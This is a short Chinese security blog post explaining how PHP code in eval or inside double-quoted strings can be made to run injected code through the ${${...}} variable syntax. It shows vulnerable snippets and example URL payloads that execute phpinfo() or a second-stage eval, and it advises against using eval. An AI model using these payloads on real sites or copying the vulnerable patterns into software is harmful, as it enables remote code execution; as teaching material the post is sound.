PHP的一个EVAL的利用防范

暗月博客 2019年11月21日21:11:34评论382 views字数 531阅读1分46秒阅读模式
摘要

作者:phpeval 前段时间一个程序出的问题。就和这差不多 <?php $code="${${eval($_GET[c])}}"; ?>

作者:phpeval

前段时间一个程序出的问题。就和这差不多

&lt;?php $code="${${eval($_GET[c])}}"; ?> 

对于上面的代码。如果在URL提交http://www.phpeval.cn/test.php?c=phpinfo(); 就可以发现phpinfo()被执行了。而相应的提交c=echo 11111; 发现1111也被输出了。这个代码被执行了。

(好些PHP的代码在写文件的时候。都没有注意到这一点。他们在代码中写php的文件的时候。把代码加在双引号之内。然后过滤掉双引号。认为这样就不能执行了。实际上是可以的。)
还有一些利用方式,比如:

<?php $code=addslashes($_GET[c]); eval(""$code""); ?> 

提交 http://www.site.cn/test.php?c=${${phpinfo()}}; phpinfo()就被执行。如果提交
http://www.site.cn/test.php?c=${${eval($_GET[d])}};&d=phpinfo();

这样的话,d后面的代码也被执行。

解决方法:

eval函数减弱了你的应用的安全性,因为它给被求值的文本赋予了太多的权力。强烈建议不要使用eval函数。

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
暗月博客
  • 本文由 发表于 2019年11月21日21:11:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PHP的一个EVAL的利用防范https://cn-sec.com/archives/71862.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息